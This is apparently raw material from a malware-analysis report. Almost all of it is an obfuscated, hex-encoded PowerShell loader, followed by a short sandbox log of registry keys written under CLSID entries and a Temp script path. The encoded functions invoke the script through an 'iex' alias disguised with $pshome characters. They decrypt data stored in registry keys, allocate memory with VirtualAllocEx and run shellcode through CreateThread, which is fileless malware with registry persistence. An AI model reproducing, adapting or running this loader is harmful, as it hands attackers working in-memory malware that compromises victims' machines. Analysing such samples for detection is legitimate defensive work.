3133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373337323330334437423230323436383633333733443330324532453332333533353342333032453245333233353335374332353742323032343736373133393344323832343736373133393242323436383633333735423234354635443242323437303646333635423234354632353234373036463336324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343638363333373542323435463544324332343638363333373542323437363731333935443344323436383633333735423234373637313339354432433234363836333337354232343546354432303744323033423234373537363338374332353742323436443638333033443238323436443638333032423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234363537383333334432383234363537383333324232343638363333373542323436443638333035443239323532383238323833313337333032423338333632393239323933423230323436383633333735423234364436383330354432433234363836333337354232343635373833333544334432343638363333373542323436353738333335443243323436383633333735423234364436383330354433423234354632443632373836463732323436383633333735423238323436383633333735423234364436383330354432423234363836333337354232343635373833333544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323436443736333132303344323032383236323032343733373233303743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343644363833303344333033423234364436383330323032443643373432303234364437363331324534433635364536373734363833423234364436383330324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436443736333132453533373536323733373437323639364536373238323436443638333032433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3132352d3132315d2b247073686f6d655b3136342d3133305d2b277827297d66756e6374696f6e20686d327b706172616d28246f6b342920286c6f3920273234363636383338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343638363333343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343636363833383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363636383338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363836333334324332343646364233343239323927297c2628247073686f6d655b3137342d3137305d2b247073686f6d655b3231392d3138355d2b277827297d2066756e6374696f6e207668377b706172616d28246f6b342c247761302c246e63362920286c6f392027323436413735333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234373337323337334432383234364137353338354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323436393732333633443234364137353338354232343733373233373245324532383234373337323337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436393732333632393342323436413735333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373337323337334437423230323436333635333133443330324532453332333533353342333032453245333233353335374332353742323032343644364533313344323832343644364533313242323436333635333135423234354635443242323436393732333635423234354632353234363937323336324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343633363533313542323435463544324332343633363533313542323436443645333135443344323436333635333135423234364436453331354432433234363336353331354232343546354432303744323033423234364137353338374332353742323437373639333533443238323437373639333532423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234374137383332334432383234374137383332324232343633363533313542323437373639333535443239323532383238323833313337333032423338333632393239323933423230323436333635333135423234373736393335354432433234363336353331354232343741373833323544334432343633363533313542323437413738333235443243323436333635333135423234373736393335354433423234354632443632373836463732323436333635333135423238323436333635333135423234373736393335354432423234363336353331354232343741373833323544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323437303632333632303344323032383236323032343733373233373743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343737363933353344333033423234373736393335323032443643373432303234373036323336324534433635364536373734363833423234373736393335324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437303632333632453533373536323733373437323639364536373238323437373639333532433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3132302d3131365d2b247073686f6d655b3137362d3134325d2b277827297d2066756e6374696f6e20706e397b706172616d28246f6b342c247761302920286c6f39202732343637373533353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343637373533353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343646364233343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343637373533353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437373631333032433234364636423334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363737353335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133322d3132385d2b247073686f6d655b3139382d3136345d2b277827297d66756e6374696f6e206375327b706172616d28247a713729202875663020273234373537373338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636373133393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735373733383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373537373338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363637313339324332343741373133373239323927297c2628247073686f6d655b3136372d3136335d2b247073686f6d655b3139312d3135375d2b277827297d66756e6374696f6e206a78397b706172616d28246771382c246174362c246265342920286e6a3520273234363737303331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343642364433393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343637373033313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363737303331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364236443339324332343637373133383239323927297c2628247073686f6d655b3135392d3135355d2b247073686f6d655b3138332d3134395d2b277827297d246a75383d76683720276c656b716e787069756f6873637677272027656268746c676376756d6f79646a7a6927202770666f6c6977647872676271766b736574273b66756e6374696f6e207a6a337b706172616d28246579392c246178322920286374332027323437373646333233443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234373437393338334432383234373736463332354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323436323644333833443234373736463332354232343734373933383245324532383234373437393338324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436323644333832393342323437373646333233443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373437393338334437423230323437383731333733443330324532453332333533353342333032453245333233353335374332353742323032343643373133383344323832343643373133383242323437383731333735423234354635443242323436323644333835423234354632353234363236443338324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343738373133373542323435463544324332343738373133373542323436433731333835443344323437383731333735423234364337313338354432433234373837313337354232343546354432303744323033423234373736463332374332353742323437393732333933443238323437393732333932423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234373737313339334432383234373737313339324232343738373133373542323437393732333935443239323532383238323833313337333032423338333632393239323933423230323437383731333735423234373937323339354432433234373837313337354232343737373133393544334432343738373133373542323437373731333935443243323437383731333735423234373937323339354433423234354632443632373836463732323437383731333735423238323437383731333735423234373937323339354432423234373837313337354232343737373133393544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323437363637333332303344323032383236323032343734373933383743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343739373233393344333033423234373937323339323032443643373432303234373636373333324534433635364536373734363833423234373937323339324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437363637333332453533373536323733373437323639364536373238323437393732333932433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3139312d3138375d2b247073686f6d655b3135392d3132355d2b277827297d66756e6374696f6e207a71327b706172616d28246d76362c2468693629202875733920273234363436333337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343632373233393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634363333373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363436333337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363237323339324332343644373633363239323927297c2628247073686f6d655b3133392d3133355d2b247073686f6d655b3138332d3134395d2b277827297d66756e6374696f6e20736c397b706172616d28246a75382c246179352c246c72382c246f6c352920286c6f392027323436333635333133443542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238363836443332323032373536363937323734373536313643343136433643364636333435373832373239324332383730364533393230343032383542343936453734353037343732354432433542343936453734353037343732354432433542343936453734353037343732354432433542363936453734354432433542363936453734354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832443331324333303243323436313739333532433238333733333336324233313331333533353332323932433234364636433335323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238363836443332323032373532373436433444364637363635344436353644364637323739323732393243323837303645333932303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323436333635333132433234364137353338324332343631373933353239334232343633363533313344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234363336353331324535343646343936453734333633343238323932423234364337323338323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238363836443332323032373433373236353631373436353534363837323635363136343237323932433238373036453339323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323436333635333132433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230323832383334333233373330324433313338333133313239323927297c2628247073686f6d655b3138382d3138345d2b247073686f6d655b3138382d3135345d2b277827297d66756e6374696f6e207274357b706172616d2824636c322920286a773920273234374137313335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343634373833373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343741373133353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234374137313335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363437383337324332343633364333323239323927297c2628247073686f6d655b3132302d3131365d2b247073686f6d655b3230322d3136385d2b277827297d66756e6374696f6e207a6e347b706172616d28246862362c247968352c247573372920286f6e372027323437343635333233443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234373836373337334432383234373436353332354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323436333730333733443234373436353332354232343738363733373245324532383234373836373337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436333730333732393342323437343635333233443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373836373337334437423230323437343738333733443330324532453332333533353342333032453245333233353335374332353742323032343645364633333344323832343645364633333242323437343738333735423234354635443242323436333730333735423234354632353234363337303337324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343734373833373542323435463544324332343734373833373542323436453646333335443344323437343738333735423234364536463333354432433234373437383337354232343546354432303744323033423234373436353332374332353742323437363634333733443238323437363634333732423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234364637303338334432383234364637303338324232343734373833373542323437363634333735443239323532383238323833313337333032423338333632393239323933423230323437343738333735423234373636343337354432433234373437383337354232343646373033383544334432343734373833373542323436463730333835443243323437343738333735423234373636343337354433423234354632443632373836463732323437343738333735423238323437343738333735423234373636343337354432423234373437383337354232343646373033383544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323437383632333032303344323032383236323032343738363733373743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343736363433373344333033423234373636343337323032443643373432303234373836323330324534433635364536373734363833423234373636343337324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437383632333032453533373536323733373437323639364536373238323437363634333732433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3136372d3136335d2b247073686f6d655b3137302d3133365d2b277827297d736c3920246a753820246a75382e6c656e6774682028282832393935372d313131333629292d31323831292028282831342b323229292b32382966756e6374696f6e207174307b706172616d28247368332c246578312920286a6b3520273234373037393336334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343737373433393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343730373933363245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373037393336324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373737343339324332343733363833333239323927297c2628247073686f6d655b3133322d3132385d2b247073686f6d655b3231322d3137385d2b277827297d66756e6374696f6e20756a397b706172616d28247466302920286261322027323436453642333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234373637343339334432383234364536423333354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323437383644333733443234364536423333354232343736373433393245324532383234373637343339324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437383644333732393342323436453642333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373637343339334437423230323437313732333133443330324532453332333533353342333032453245333233353335374332353742323032343737364433393344323832343737364433393242323437313732333135423234354635443242323437383644333735423234354632353234373836443337324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343731373233313542323435463544324332343731373233313542323437373644333935443344323437313732333135423234373736443339354432433234373137323331354232343546354432303744323033423234364536423333374332353742323436343639333333443238323436343639333332423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234364437373333334432383234364437373333324232343731373233313542323436343639333335443239323532383238323833313337333032423338333632393239323933423230323437313732333135423234363436393333354432433234373137323331354232343644373733333544334432343731373233313542323436443737333335443243323437313732333135423234363436393333354433423234354632443632373836463732323437313732333135423238323437313732333135423234363436393333354432423234373137323331354232343644373733333544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323436313733333232303344323032383236323032343736373433393743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343634363933333344333033423234363436393333323032443643373432303234363137333332324534433635364536373734363833423234363436393333324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436313733333232453533373536323733373437323639364536373238323436343639333332433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3139382d3139345d2b247073686f6d655b3137342d3134305d2b277827297d66756e6374696f6e206176337b706172616d28246466312c246962382920286f71362027323436443645333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234363436423331334432383234364436453331354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323436393633333733443234364436453331354232343634364233313245324532383234363436423331324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436393633333732393342323436443645333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234363436423331334437423230323437353638333533443330324532453332333533353342333032453245333233353335374332353742323032343732363533353344323832343732363533353242323437353638333535423234354635443242323436393633333735423234354632353234363936333337324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343735363833353542323435463544324332343735363833353542323437323635333535443344323437353638333535423234373236353335354432433234373536383335354232343546354432303744323033423234364436453331374332353742323436433731333133443238323436433731333132423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234363636353337334432383234363636353337324232343735363833353542323436433731333135443239323532383238323833313337333032423338333632393239323933423230323437353638333535423234364337313331354432433234373536383335354232343636363533373544334432343735363833353542323436363635333735443243323437353638333535423234364337313331354433423234354632443632373836463732323437353638333535423238323437353638333535423234364337313331354432423234373536383335354232343636363533373544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323436463633333932303344323032383236323032343634364233313743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343643373133313344333033423234364337313331323032443643373432303234364636333339324534433635364536373734363833423234364337313331324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436463633333932453533373536323733373437323639364536373238323436433731333132433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3132352d3132315d2b247073686f6d655b3136362d3133325d2b277827297d powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000D0F12-0507-0D0F-0013-030403110004}\ = "{12121112-0413-0004-0712-040E0D070B03}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\VersionIndependentProgID\ = "{12121112-0413-0004-0712-040E0D070B03}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\ProgID\ = "{12121112-0413-0004-0712-040E0D070B03}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1728.ps1" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{12121112-0413-0004-0712-040E0D070B03}\ = "{12121112-0413-0004-0712-040E0D070B03}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{000D0F12-0507-0D0F-0013-030403110004}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created 